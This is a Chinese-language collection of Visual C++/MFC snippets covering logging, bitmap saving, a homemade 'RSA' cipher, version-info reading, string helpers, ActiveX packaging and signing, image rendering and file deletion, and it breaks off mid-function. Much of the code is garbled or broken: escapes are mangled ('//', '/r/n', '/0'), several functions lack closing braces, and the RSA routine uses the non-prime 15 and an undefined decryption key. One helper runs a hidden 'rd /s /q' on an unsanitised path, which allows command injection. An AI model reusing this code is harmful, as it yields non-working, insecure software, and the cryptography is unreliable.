VC常用代码集

1、写日志函数

void WriteLog(CString strLog)

{

CString strLogPath = "";

char *pszPath;

DWORD nlen = 256;

pszPath = new char[nlen];

memset(pszPath,0,sizeof(char)*nlen);

GetModuleFileName(NULL,pszPath,nlen);

strLogPath = pszPath;

strLogPath = strLogPath.Left(strLogPath.ReverseFind('//')+1);

strLogPath = strLogPath + "ErrorInfo.log";

if(pszPath)

{

delete []pszPath;

pszPath = NULL;

}

CFile cf;

OFSTRUCT of;

HFILE hf = OpenFile(strLogPath,&of,OF_EXIST);

if(hf==-1)

{

cf.Open(strLogPath,CFile::modeCreate|CFile::modeWrite);

}

else

{

cf.Open(strLogPath,CFile::modeWrite);

cf.SeekToEnd();

}

int iTempValue = GetLastError();

CString strWrite = "";

strWrite = strLog + "/r/n";

CCriticalSection sl;

sl.Lock();

cf.Write(strWrite.GetBuffer(strWrite.GetLength()),strWrite.GetLength());

sl.Unlock();

cf.Close();

}

void WriteLog2(CString strLog)

//带记录时间

{

CString strLogPath = "";

char *pszPath;

DWORD nlen = 256;

pszPath = new char[nlen];

memset(pszPath,0,sizeof(char)*nlen);

GetModuleFileName(NULL,pszPath,nlen);

strLogPath = pszPath;

strLogPath = strLogPath.Left(strLogPath.ReverseFind('//')+1);

strLogPath = strLogPath + "ErrorInfo.log";

if(pszPath)

{

delete []pszPath;

pszPath = NULL;

}

CFile cf;

OFSTRUCT of;

HFILE hf = OpenFile(strLogPath,&of,OF_EXIST);

if(hf==-1)

{

cf.Open(strLogPath,CFile::modeCreate|CFile::modeWrite);

}

else

{

cf.Open(strLogPath,CFile::modeWrite);

cf.SeekToEnd();

}

time_t ltime;

struct tm *gmt; time( &ltime );

gmt = gmtime( &ltime );

CString strTemp = "";

strTemp.Format(" %s", asctime( gmt ) );

CString strWrite = "";

strWrite = strLog + strTemp + "/r/n";

CCriticalSection sl;

sl.Lock();

cf.Write(strWrite.GetBuffer(strWrite.GetLength()),strWrite.GetLength());

sl.Unlock();

cf.Close();

}

2、返回的出错编码所对应错误信息 FormatMessage()得到由GetLastError()返回的出错编码所对应错误

信息的示例：

LPVOID lpMsgBuf;

FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL );

// Process any inserts in lpMsgBuf.

// ...

// Display the string.

MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK |MB_ICONINFORMATION );

// Free the buffer.

LocalFree( lpMsgBuf );

3、保存位图

static BOOL SaveBitmap (HBITMAP hBmp, const char* pszFile)

{

BITMAP bmp;

PBITMAPINFO pbmi;

WORD cClrBits; /* Retrieve the bitmap's color format, width, and height. */

if (!GetObject(hBmp, sizeof(BITMAP), (LPSTR)&bmp))

return FALSE;

/* Convert the color format to a count of bits. */

cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);

if (cClrBits == 1)

cClrBits = 1;

else if (cClrBits <= 4)

cClrBits = 4;

else if (cClrBits <= 8)

cClrBits = 8;

else if (cClrBits <= 16)

cClrBits = 16;

else if (cClrBits <= 24)

cClrBits = 24;

else cClrBits = 32;

/* * Allocate memory for the BITMAPINFO structure. (This structure *

contains a BITMAPINFOHEADER structure and an array of

RGBQUAD data * structures.) */

if (cClrBits < 24)

pbmi = (PBITMAPINFO) GlobalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1 << cClrBits));

/* * There is no RGBQUAD array for the 24-bit-per-pixel format. */

else

pbmi = (PBITMAPINFO) GlobalAlloc(LPTR, sizeof(BITMAPINFOHEADER));

/* Initialize the fields in the BITMAPINFO structure. */

pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

pbmi->bmiHeader.biWidth = bmp.bmWidth;

pbmi->bmiHeader.biHeight = bmp.bmHeight;

pbmi->bmiHeader.biPlanes = bmp.bmPlanes;

pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;

if (cClrBits < 24)

pbmi->bmiHeader.biClrUsed = (1 << cClrBits);

else

pbmi->bmiHeader.biClrUsed = 0;

/* If the bitmap is not compressed, set the BI_RGB flag. */

pbmi->bmiHeader.biCompression = BI_RGB;

/* * Compute the number of bytes in the array of color * indicesand store the result in biSizeImage. */

pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) /8 * pbmi->bmiHeader.biHeight * cClrBits;

/* * Set biClrImportant to 0, indicating that all of the * device colors are important. */ pbmi->bmiHeader.biClrImportant = 0;

{ /* C sucks */

HANDLE hf;

/* file handle */

BITMAPFILEHEADER hdr;

/* bitmap file-header */

PBITMAPINFOHEADER pbih;

/* bitmap info-header */

LPBYTE lpBits;

/* memory pointer */

DWORD dwTotal;

/* total count of bytes */

DWORD cb;

/* incremental count of bytes */

DWORD dwTmp;

HDC hDC;

pbih = (PBITMAPINFOHEADER) pbmi;

lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);

if (!lpBits)

return FALSE;

/* * Retrieve the color table (RGBQUAD array) and the bits *(array of palette indices) from the DIB. */

hDC = CreateCompatibleDC(NULL);

if (!GetDIBits(hDC, hBmp, 0, (WORD) pbih->biHeight, lpBits, pbmi,DIB_RGB_COLORS)) return FALSE;

/* Create the .BMP file. */

hf = CreateFile (pszFile, GENERIC_READ | GENERIC_WRITE, (DWORD) 0,

(LPSECURITY_ATTRIBUTES) NULL,

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,

(HANDLE) NULL);

if (hf == INVALID_HANDLE_VALUE)

return FALSE;

hdr.bfType = 0x4d42;

/* 0x42 = "B" 0x4d = "M" */

/* Compute the size of the entire file. */

hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof(RGBQUAD) + pbih->biSizeImage);

hdr.bfReserved1 = 0;

hdr.bfReserved2 = 0;

/* Compute the offset to the array of color indices. */

hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) + pbih->biSize + pbih->biClrUsed * sizeof(RGBQUAD);

/* Copy the BITMAPFILEHEADER into the .BMP file. */

if (!WriteFile(hf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER), (LPDWORD) &dwTmp,

(LPOVERLAPPED) NULL))

return FALSE;

/* Copy the BITMAPINFOHEADER and RGBQUAD array into the file. */

if (!WriteFile(hf, (LPVOID) pbih, sizeof(BITMAPINFOHEADER) + pbih->biClrUsed * sizeof (RGBQUAD), (LPDWORD) &dwTmp, (LPOVERLAPPED) NULL))

return FALSE;

/* Copy the array of color indices into the .BMP file. */

dwTotal = cb = pbih->biSizeImage;

if (!WriteFile(hf, (LPSTR) lpBits, (int) cb, (LPDWORD) &dwTotal,(LPOVERLAPPED) NULL)) return FALSE;

/* Close the .BMP file. */

if (!CloseHandle(hf))

return FALSE;

/* Free memory. */

GlobalFree((HGLOBAL)lpBits);

GlobalFree((HGLOBAL)pbmi);

DeleteDC(hDC);

}

/* C sucks */

return TRUE;

}

4、RSA加解密算法

#define ENCRYPT_P 13

#define ENCRYPT_Q 15

DWORD Exp(int k,int e,int r)

{

DWORD dwResult;

div_t div_Result;

dwResult=k;

div_Result=div(dwResult,r);

dwResult=div_Result.rem;

for (int i=1;i<e;i++)

{

dwResult*=k;

div_Result=div(dwResult,r);

dwResult=div_Result.rem;

}

return(dwResult);

}

CString Encrypt_KnownKey(CString Source)

{

int r=ENCRYPT_P*ENCRYPT_Q;

int e=101; //设置加密键，一般比P与Q大的质数就可以选作加密键

int k=(ENCRYPT_P-1)*(ENCRYPT_Q-1);

int d=5; //求得解密键，即满足公式：(d*11) mod k=1

char pSource[255];

char pTarget[255];

int iLen;

int i;

DWORD dw1;

wsprintf(pSource,"%s",Source);

iLen=Source.GetLength();

for (i=0;i<iLen;i++)

{

div_t div_Result;

dw1=Exp(pSource[i],e,r);

div_Result=div(dw1,r);

pTarget[i]=div_Result.rem;

//获取密文

}

pTarget[iLen]='/0';

CString strTarget;

strTarget.Format("%s",pTarget);

return(strTarget);

}

CString Decode_KnownKey(CString Source)

{

int r=ENCRYPT_P*ENCRYPT_Q;

int e=101; //设置加密键，一般比P与Q大的质数就可以选作加密键

int k=(ENCRYPT_P-1)*(ENCRYPT_Q-1);

//k=168 int d=5; //求得解密键，即满足公式：(d*29) mod k=1

int iLen=Source.GetLength();

char pSource[255],pTarget[255];

wsprintf(pSource,"%s",Source);

for (int i=0;i<iLen;i++)

{

DWORD dw1;

dw1=Exp(pSource[i],d,r);

div_t div_Result;

div_Result=div(dw1,r);

pTarget[i]=div_Result.rem;

}

pTarget[iLen]='/0';

CString strTarget;

strTarget.Format("%s",pTarget);

return(strTarget);

}

5、获取版本号以下是如何从资源中读取版本号的示例程序，大家可以参考使用。需要说明的是，版本号函数不包含在标准库中，所以要在工程中增加 version.lib 库才可链接成功。

方法一

//1、对话框程序：可在主对话框的OnInitDialog()函数中添加如下代码：

//2、对于单文档/多文档程序：可在int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)或BOOL CApplicationApp::InitInstance()函数

中添加如下代码：

#include <winver.h> //在CPP中包含该头文件

DWORD dwSize,dwHandle;

BYTE *byData, *lpFileDes,*lpVers;

char sTitle[MAX_PATH];

char sAppName[MAX_PATH];

CString strVersion;

unsigned int uLen;

//获得版本号

sprintf(sAppName,"%s.exe",AfxGetApp()->m_pszExeName);

//若为MFC程序, 可用此句获得当前程序(或DLL)文件所在目录

//GetModuleFileName(gHINSTANCE,sAppName,MAX_PATH);

//若为非MFC程序, 可用此句获得当前程序(或DLL)文件所在目录 //strcpy(sAppName,argv[0]);

//若为控制台程序,可用此句获得当前程序文件所在目录

dwSize=GetFileVersionInfoSize(sAppName,&dwHandle);

byData=new BYTE[dwSize+10];

GetFileVersionInfo(sAppName,0,dwSize,byData);

VerQueryValue(byData,TEXT(" **)&lpVers,&uLen);//040904B0为英文 080404B0为中文

VerQueryValue(byData,TEXT(" **)&lpFileDes,&uLen);

//去掉版本号的最后一位,并将','改为'.'

strVersion=lpVers;

strVersion.Replace(",",".");

strVersion.Replace(" ","");

strVersion=strVersion.Left(strVersion.ReverseFind('.'));

sprintf(sTitle,"%s Version %s",lpFileDes,strVersion);

//设置版本号

#define ID_MENUITEM32801 32801

SetWindowText(sTitle); //将标题设置成版本号

//SetTitle(sTitle); //对于MDI/SDI，用此函数设置标题

CString strMenuStr;

CMenu *menu=GetMenu();

strMenuStr=sTitle;

menu->ModifyMenu(ID_MENUITEM_VERSION,MF_BYCOMMAND,ID_MENUITEM32801,strMenuStr);//将菜单设置成版本号,其中ID_MENUITEM_VERSION是菜单中的项，在菜单的最后定义该项

// delete[] byData;

方法二

//获取版本号
BOOL GetFileVersion(TCHAR * pFileName,TCHAR * pVersion)
{
   if(pFileName == NULL || pVersion == NULL)
       return FALSE;

   DWORD dwVerSize;
   DWORD dwHandle;
   LPVOID pVerBuffer = NULL;

   dwVerSize = GetFileVersionInfoSize(pFileName, &dwHandle);
   if (dwVerSize == 0)
       return FALSE;

   pVerBuffer = new BYTE[dwVerSize+1];

   if (GetFileVersionInfo(pFileName, 0, dwVerSize, pVerBuffer))
   {
       VS_FIXEDFILEINFO * pInfo = NULL;
       unsigned int nInfoLen;

       unsigned int cbTranslate = 0;
       struct LANGANDCODEPAGE {
           WORD wLanguage;
           WORD wCodePage;
       } *lpTranslate;
       TCHAR szVersionTmp[128] = {0};
       BOOL bVerQuery = VerQueryValue(pVerBuffer, TEXT("\\VarFileInfo\\Translation"),(LPVOID*)&lpTranslate,&cbTranslate);
       // Read the file description for each language and code page.
       for( int i=0; i < (cbTranslate/sizeof(struct LANGANDCODEPAGE)); i++ )
       {
           char SubBlock[200];
           wsprintf(SubBlock,
               TEXT("\\StringFileInfo\\%04x%04x\\FileVersion"),
               lpTranslate[i].wLanguage,
               lpTranslate[i].wCodePage);
           void *lpBuffer=NULL;
           unsigned int dwBytes=0;
           bVerQuery = VerQueryValue(pVerBuffer,
               SubBlock,
               &lpBuffer,
               &dwBytes);
           CString strTemp=(char *)lpBuffer;
           strcat(szVersionTmp,strTemp);
       }
       if(bVerQuery)
       {
           strcpy(pVersion,szVersionTmp);

           if(pVerBuffer != NULL)
           {
               delete []pVerBuffer;
           }
           return TRUE;
       }
   }

   if(pVerBuffer != NULL)
   {
       delete []pVerBuffer;
   }
   return FALSE;
}

6、字符串处理函数

// 函数声明 void Strtran(char *sourstr,const char*str1,const char *str2);

// 字符串替换函数 void alltrim(char *str);

// 去字符串前后空格 void Upper(char *str);

// 小写字母转大写 void Lower(char *str);

// 大写字母转小写 void toFull(char *sText);

// 半角字串转全角

/*--------------------------------------- 功能：字符串替换函数

参数： sourstr:要做替换的字串。 str1 :要查找的字串 str2 :替代的字串

返回：无 -----------------------------------------*/

void Strtran(char *sourstr,const char*str1,const char *str2)

{

char* tmp1;

char* tmp2;

char* tmp3;

long len;

if (strlen(str1)<=0)

return;

if (strlen(str2)>strlen(str1))

{

len=strlen(sourstr)*strlen(str2)/strlen(str1)+100;

}

else

{

len=strlen(sourstr)+100;

}

tmp1 = new char[len];

tmp3 = sourstr;

memset(tmp1,0,len);

while (1)

{

tmp2=strstr(tmp3,str1);

if (tmp2==NULL)

{

strcat(tmp1,tmp3);

break;

}

len=tmp2-tmp3;

if (len>0)

{

char* tt=new char[len+1];

strncpy(tt,tmp3,len);

tt[len]=0;

strcat(tmp1,tt);

delete [] tt;

}

strcat(tmp1,str2);

tmp3 = tmp2+strlen(str1);

}

strcpy(sourstr, tmp1);

delete [] tmp1;

}

/*--------------------------------------- 功能：去字符串前后空格

参数： str :要去空格的字串

返回：无 -----------------------------------------*/

void alltrim(char *str)

{

int i,slen=strlen(str),gap;

i=slen-1;

while (i>0&&str[i]==' ')

i--;

if (i<slen-1)

{

str[i+1]=0;

slen=i+1;

}

i=0;

while (i<slen&&str[i]==' ')

i++;

if (i==0)

return;

gap=i;

while (i<=slen)

str[i-gap]=str[i++];

}

/*--------------------------------------- 功能：小写字母转大写

参数： str :要转大写的字串

返回：无 -----------------------------------------*/

void Upper(char *str)

{

if (str==NULL || str[0]==0) return;

int slen=strlen(str),gap='A'-'a';

for (int i=0;i<slen;i++)

{

if((unsigned char)(str[i])>(unsigned char)0x81)

i++;

else if (str[i]>='a'&&str[i]<='z')

str[i]+=gap;

}

/*--------------------------------------- 功能：大写字母转小写

参数： str :要转小写的字串

返回：无 -----------------------------------------*/

void Lower(char *str)

{

if (str==NULL || str[0]==0) return;

int slen=strlen(str),gap='A'-'a';

for (int i=0;i<slen;i++)

{

if((unsigned char)(str[i])>(unsigned char)0x81) i++;

else if (str[i]>='A'&&str[i]<='Z') str[i]-=gap;

}

/*--------------------------------------- 功能：半角字串转全角

参数： sText :半角字串(由于转全角会增加串的长度，必须保证申请足够的内存，以防越界)

返回：无 -----------------------------------------*/

void toFull(char *sText)

{

char *sStr,*sStrPtr,*sTmp,sWord[5]=" ";

char sHalfSet[]="()!1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz<>`@#$^*&_|//{}[]<>='";

char sFullSet[]="（）！１２３４５６７８９０ＡＢＣＤＥＦＧＨＩＪＫＬＭＮＯＰＱＲＳＴＵＶＷＸＹＺａｂｃｄｅｆｇｈｉｊｋｌｍｎｏｐｑｒ

ｓｔｕｖｗｘｙｚ〈〉｀＠＃＄＾＊＆＿｜＼｛｝［］＜＞＝＇";

int iSlen,i;

unsigned char ch1,ch2;

if(sText==NULL) return;

iSlen=strlen(sText);

sStr=new char[iSlen*2+10];

*sStr=0;

sStrPtr=sStr;

for(i=0;i<iSlen;i++)

{

ch1=sText[i];

ch2=sText[i+1];

if(ch1>0x80)

{

//全角

*sStrPtr++=ch1;

*sStrPtr++=ch2;

i++;

}

else

{

//半角

sWord[0]=ch1;

sTmp=strstr(sHalfSet,sWord);

if(sTmp==NULL)

*sStrPtr++=ch1;

else

{

sTmp=sFullSet+(sTmp-sHalfSet)*2;

*sStrPtr++=*sTmp;

*sStrPtr++=*(sTmp+1);

}

*sStrPtr=0;

strcpy(sText,sStr);

delete[] sStr;

}

7、编写ActiveX控件（MFC）

1)、使用向导生成ActiveX Project

2)、添加自己的方法和消息影射到 XXXXCtrl.h文件中，结构是 DECLARE_DISPATCH_MAP() afx_msg void AboutBox();

afx_msg void MyMethod(); ... ... public: enum { DISPID_MyMethod = 1 ,DISPID_MyMess = 2 }; （AboutBox的映射不需要加）

3)、在对应的.cpp文件（例如 XXXXCtrl.cpp）中实现自己的方法 void XXXXCtrl::AboutBox() {

CDialog dlgAbout(IDD_ABOUTBOX_MYSAMPLEACTIVEX);

dlgAbout.DoModal();

}

void XXXXCtrl::MyMethod()

{

::MessageBox(NULL,_T("My Message"),_T("MyEdit"),NULL);

}

4)、在 XXXXCtrl.cpp文件中添加方法转发 BEGIN_DISPATCH_MAP(CMySampleActiveXCtrl, COleControl) DISP_FUNCTION_ID(CMySampleActiveXCtrl, "AboutBox", DISPID_ABOUTBOX, AboutBox, VT_EMPTY, VTS_NONE) DISP_FUNCTION_ID(CMySampleActiveXCtrl, "MyMethod", DISPID_MyMethod, MyMethod, VT_EMPTY, VTS_NONE) END_DISPATCH_MAP()

5)、在idl文件中添加声明 enum { DISPID_MyMethod = 1 ,DISPID_MyMess = 2 }; ... ... dispinterface _DMySampleActiveX { properties: methods: [id(DISPID_ABOUTBOX)] void AboutBox(); [id(DISPID_MyMethod)] void MyMethod(); ... ... }; ... ... (注意，在这个文件头上需要重新添加一次消息影射的ID定义，原因不明....)

6)、完成以上工作后，进行编译，如果出错，需要一步步调试，编译成功后方可继续

7)、使用 ActiveX Control Test Container加载控件进行测试

8)、发布控件

8、发布ActiveX（VS2005）

1)：使用VS2005制作一个Setup wizard的项目进行打包成CAB文件

2)：进入Visual Studio 2005 Command Prompt界面

3)：使用makecert 创建证书文件 makecert -sk password -ss 张晓华的证书 -n CN="MFC 测试" -m 12 anson.cer -sk 表示私人密钥 -ss 表示描述 -n CN="" 这里面是公司名称 -m 有效月数 anson.cer 输出的证书名

4）：用cert2spc.exe建立出版商的说明文件 cert2spc anson.cer anson.spc

5）：输入密码并看到 Succeeded 后，目录下将生成两个文件：my.pvk和qqq.cer

6）：现在用这两个文件来签名然后使用生成的认证文件进行签名：键入signtool signwizard 使用向导来签名首先选择你要签名的控件( ocx或dll ) 点击下一步后选择自定义签名，点击下一步后从文件选择证书,文件类型选择*.cer,找到qqq.cer 再下一步是选择私钥文件，浏览并选择my.PVK，输入你makecert时输入过的密码接下来的一堆对话框里，你只要点下一步,把数据描述里的内容填写好，可以使用下面的URL盖时间戳http://timestamp.verisign.com/scripts/timstamp.dll，点击完成就完成数字签名了 7）：这样就完成打包发布了

9、在ActiveX中显示图片

CString szFilename ("c://temp//1678391_6878.bmp");

CDC *dc = GetDC();

CDC bmDC;

HBITMAP hBmp = (HBITMAP)::LoadImage(NULL,szFilename,IMAGE_BITMAP,0,0,LR_LOADFROMFILE|LR_CREATEDIBSECTION); CBitmap bmp;

bmp.Attach(hBmp);

bmDC.CreateCompatibleDC(dc);

CBitmap *pOldbmp=bmDC.SelectObject(&bmp);

BITMAP bi; bmp.GetBitmap(&bi);

dc->BitBlt(0,0,bi.bmWidth,bi.bmHeight,&bmDC,0,0,SRCCOPY);

bmDC.SelectObject(pOldbmp);

10、使用IPicture::Render 绘制图片

使用IPicture::Render 绘制图片的方法说明:

HRESULT Render( HDC hdc, //Handle of device context on which to render the image //绘图设备 long x, //Horizontal position of image in hdc //绘图设备上的X起始坐标 long y, //Vertical position of image in hdc //绘图设备上的Y起始坐标 long cx, //Horizontal dimension of destination rectangle //绘图设备上的水平像素单位数(宽)

long cy, //Vertical dimension of destination rectangle //绘图设备上的垂直像素单位数(高)

OLE_XPOS_HIMETRIC xSrc, //Horizontal offset in source picture //原图的X起始坐标

OLE_YPOS_HIMETRIC ySrc, //Vertical offset in source picture //原图的Y起始坐标 OLE_XSIZE_HIMETRIC cxSrc, //Amount to copy horizontally in source picture //总计拷贝的水平像素单位数(宽) OLE_YSIZE_HIMETRIC cySrc, //Amount to copy vertically in source picture //总计拷贝的垂直像素单位数(高)

LPCRECT prcWBounds //Pointer to position of destination for a metafile hdc //图源文件指针 );

范例:

HRESULT hr=m_lppi->Render(pDC->m_hDC,0,0,100,100,0,0,11774,20320,&rc);

使用CreateFile取得文件句柄的方法说明

HANDLE WINAPI CreateFile( LPCTSTR lpFileName, //The name of the object to be created or opened. //打开或者新建的文件名 DWORD dwDesiredAccess, // The access to the object, which can be read, write, or both. // 文件访问权限常用的是 GENERIC_EXECUTE / GENERIC_READ /GENERIC_WRITE DWORD dwShareMode, // The sharing mode of an object, which can be read, write, both, or none // 文件的共享模式,常用的是 FILE_SHARE_DELETE / FILE_SHARE_READ /FILE_SHARE_WRITE ,0表示不共享 LPSECURITY_ATTRIBUTES lpSecurityAttributes, // A pointer to a SECURITY_ATTRIBUTES structure that determines whether or not the returned handle can be inherited by child processes. // 详细内容,参见 msdn 的相关描述,我就不翻译了 DWORD dwCreationDisposition, // An action to take on files that exist and do not exist. // 详细内容,参见 msdn 的相关描述,我就不翻译了 DWORD dwFlagsAndAttributes, // The file attributes and flags. // 详细内容,参见 msdn 的相关描述,我就不翻译了 HANDLE hTemplateFile // A handle to a template file with the GENERIC_READ access right. The template file supplies file attributes and extended attributes for the file that is being created. This parameter can be NULL. // 详细内容,参见 msdn 的相关描述,我就不翻译了 );

范例: HANDLE hFile=CreateFile(_T("//aaa.jpg"),GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);

使用IPersistStream::Load获取LPPICTURE对象的方法: STDAPI OleLoadPicture( IStream * pStream, //Pointer to the stream that contains picture's data LONG lSize, //Number of bytes read from the stream BOOL fRunmode, //The opposite of the initial value of the picture's // property REFIID riid, //Reference to the identifier of the interface // describing the type of interface pointer to return

VOID ppvObj //Address of output variable that receives interface // pointer requested in riid

);

其他方法: //按文件大小分配内存

LPVOID pvData;

HGLOBAL hGlobal=GlobalAlloc(GMEM_MOVEABLE,dwFileSize); //锁定内存 pvData=GlobalLock(hGlobal); //读取文件到内存

DWORD dwFileRead=0;

BOOL bRead=ReadFile(hFile,pvData,dwFileSize,&dwFileRead,NULL); //从已分配内存生成IStream流

HRESULT hr=CreateStreamOnHGlobal(hGlobal,TRUE,&pstm);

hr=OleLoadPicture(pstm,dwFileSize,FALSE,IID_IPicture,(LPVOID*)&(*lppi));

pstm->Release(); 一个相对完整的步骤 //加载图片

BOOL CPicTestDlg::LoadMyJpegFile(CString fname,LPPICTURE *lppi)

{

HANDLE hFile=CreateFile(fname,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE)

{

CString str;

str.Format(_T("%s无法被打开"),fname);

MessageBox(str);

return FALSE;

}

//取得文件大小

DWORD dwFileSize=GetFileSize(hFile,NULL);

if((DWORD)-1==dwFileSize)

{

CloseHandle(hFile);

MessageBox(_T("图像文件是空的"));

return FALSE;

}

//读取图像文件

LPVOID pvData; //按文件大小分配内存

HGLOBAL hGlobal=GlobalAlloc(GMEM_MOVEABLE,dwFileSize);

if(NULL==hGlobal)

{

CloseHandle(hFile);

MessageBox(_T("内存不足，无法分配足够内存"));

return FALSE;

}

pvData=GlobalLock(hGlobal);

if(NULL==pvData)

{

GlobalUnlock(hGlobal);

CloseHandle(hFile);

MessageBox(_T("无法锁定内存"));

return FALSE;

}

DWORD dwFileRead=0;

BOOL bRead=ReadFile(hFile,pvData,dwFileSize,&dwFileRead,NULL);

GlobalUnlock(hGlobal);

CloseHandle(hFile);

if(FALSE==bRead)

{

MessageBox(_T("读文件出错"));

return FALSE;

}

LPSTREAM pstm=NULL; //从已分配内存生成IStream流

HRESULT hr=CreateStreamOnHGlobal(hGlobal,TRUE,&pstm);

if(!SUCCEEDED(hr))

{

MessageBox(_T("生成流操作失败"));

if(pstm!=NULL)

pstm->Release();

return FALSE;

}

else if(pstm==NULL)

{

MessageBox(_T("生成流操作失败"));

return FALSE;

}

if(!*lppi)

(*lppi)->Release();

hr=OleLoadPicture(pstm,dwFileSize,FALSE,IID_IPicture,(LPVOID*)&(*lppi)); pstm->Release();

if(!SUCCEEDED(hr))

{

MessageBox(_T("加载操作失败"));

return FALSE;

}

else if(*lppi==NULL)

{

MessageBox(_T("加载操作失败"));

return FALSE;

}

return TRUE;

}

//绘制图片

TCHAR strPath[MAX_PATH];

memset(strPath,0,MAX_PATH);

//得到当前路径

GetCurrentDirectory(MAX_PATH,strPath);

//定义图片路径

wcscat_s(strPath,MAX_PATH,_T("//145.bmp"));

//加载图片到 m_lppi m_bHadLoad=LoadMyJpegFile(strPath,&m_lppi);

//取得绘图设备

CDC *pDC=GetDC();

//定义绘图矩形区域

CRect rc;

//得到图片长宽

long hmWidth=0; long hmHeight=0;

m_lppi->get_Height(&hmHeight);

m_lppi->get_Width(&hmWidth);

//定义区域与设备关联

GetClientRect(&rc);

int nWidth,nHeight;

//得到设备的长宽

nWidth=rc.Width(); nHeight=rc.Height();

//绘制图片到设备区域

HRESULT hr=m_lppi->Render(pDC->m_hDC,nWidth,0,-nWidth,nHeight,hmWidth,hmHeight,-hmWidth,-hmHeight,&rc);

使用以上内容可以在mfc的窗体中的任何地方绘制图片,重绘的时候,需要在方法OnPaint()中加以定义,另外可以在OnInitDialog()中提前加载图片到内存中.

11、打印调试信息

//-------------------------------------------------------------------------------------
// 功能：打印调试信息
// 参数：无固定参数
// 返回：无
//-------------------------------------------------------------------------------------
void TraceDebug(char *fmt, ...)
{
#ifndef _DEBUG
return;
#endif

char szText[1024] = {0};
char* pTime = szText;

SYSTEMTIME stTime = {0};
GetLocalTime(&stTime);
sprintf_s(pTime,1024,"/n[%04d-%02d-%02d %02d:%02d:%02d] ",
stTime.wYear,stTime.wMonth,stTime.wDay,
stTime.wHour, stTime.wMinute, stTime.wSecond);

int nFreeLength = 1024 - strlen(szText);
pTime = szText + strlen(szText);

va_list body;
va_start(body, fmt);
vsprintf_s(pTime,nFreeLength,fmt, body);
va_end(body);

::OutputDebugString(szText);
}

12、VC取得目录大小

参数格式："c:/"或 "c:/test"
ULONGLONG GetPathUseSpace(const char *szPath)
{
    ASSERT(szPath != NULL);

    int nLen = strlen(szPath);
    if (nLen == 0)
        return 0;

    ULONGLONG result = 0;

    if (nLen == 3)      // c:/
    {
        ULARGE_INTEGER nFreeBytesAvailable;
        ULARGE_INTEGER nTotalNumberOfBytes;
        ULARGE_INTEGER nTotalNumberOfFreeBytes;
        //
        if (GetDiskFreeSpaceEx(szPath,
              &nFreeBytesAvailable,
              &nTotalNumberOfBytes,
              &nTotalNumberOfFreeBytes))
        {
            result = nTotalNumberOfBytes.QuadPart - nFreeBytesAvailable.QuadPart;
        }
    }
    else
    {
        CoInitialize(NULL);
        {
            try
            {
                Scripting::IFileSystem3Ptr   fs;
                fs.CreateInstance(__uuidof(Scripting::FileSystemObject));

                Scripting::IFolderPtr   folder;
                fs->GetFolder(_bstr_t(szPath),&folder);

                _variant_t vsize;
                folder->get_Size(&vsize);
                result = (double)vsize;
            }
            catch(_com_error &e)
            {
                result = -1;
            }
        }

        CoUninitialize();
    }

    return result;
}
VC取得目录的大小可以用COM方式，但是在某些操作系统上使用COM方式取根目录大小（即某一个盘已用空间）会出现问题，可以用GetDiskFreeSpaceEx，上面是我写了一个小函数。

13、删除文件、目录

1）、使用ShellExecuteEx 删除文件、目录。
//-------------------------------------------------------------------------------------
// 功能：清除历史记录
// 参数：szPath:路径 lDelNum:删除文件数量
// 返回：成功:0,失败:非0，错误代码
//-------------------------------------------------------------------------------------
LONG ClearHistory(char* szPath,LONG& lDelNum)
{

char szCommand[MAX_PATH]={0};
::sprintf(szCommand,"/c rd /s /q %s",szPath);

SHELLEXECUTEINFO ShExecInfo = {0};
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = NULL;
ShExecInfo.lpFile = "cmd";
ShExecInfo.lpParameters = szCommand;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_HIDE;
ShExecInfo.hInstApp = NULL;

#ifdef _DEBUG
DWORD dw1 = ::timeGetTime();

::ShellExecuteEx(&ShExecInfo);
WaitForSingleObject(ShExecInfo.hProcess, INFINITE);

::sprintf(szCommand,"/n delete:%s,milliseconds:%d",szPath,::timeGetTime()-dw1);
OutputDebugString(szCommand);
#else
::ShellExecuteEx(&ShExecInfo);
WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
#endif

lDelNum=1;
return 0;

}

2）、使用DeleteFile和RemoveDirectory删除文件、目录。
//功能：删除文件夹以及文件
bool DeleteDirectory(const char*   pszDir)
{
WIN32_FIND_DATA   fd;
char   szTempFileFind[MAX_PATH]   =   {   0   };
bool   bIsFinish   =   false;

ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));

sprintf(szTempFileFind, "%s//*.*", pszDir);

HANDLE   hFind   =   FindFirstFile(szTempFileFind,   &fd);
if(hFind   ==   INVALID_HANDLE_VALUE)
{
  return   false;
}

while   (!bIsFinish)
{
  bIsFinish   =   (FindNextFile(hFind,&fd))   ?   false   :   true;
  if   ((strcmp(fd.cFileName,".")   !=   0)   &&   (strcmp(fd.cFileName,"..")   !=   0))
  {
   char   szFoundFileName[MAX_PATH]   =   {   0   };
   strcpy(szFoundFileName,   fd.cFileName);

   if(fd.dwFileAttributes   &   FILE_ATTRIBUTE_DIRECTORY)
   {
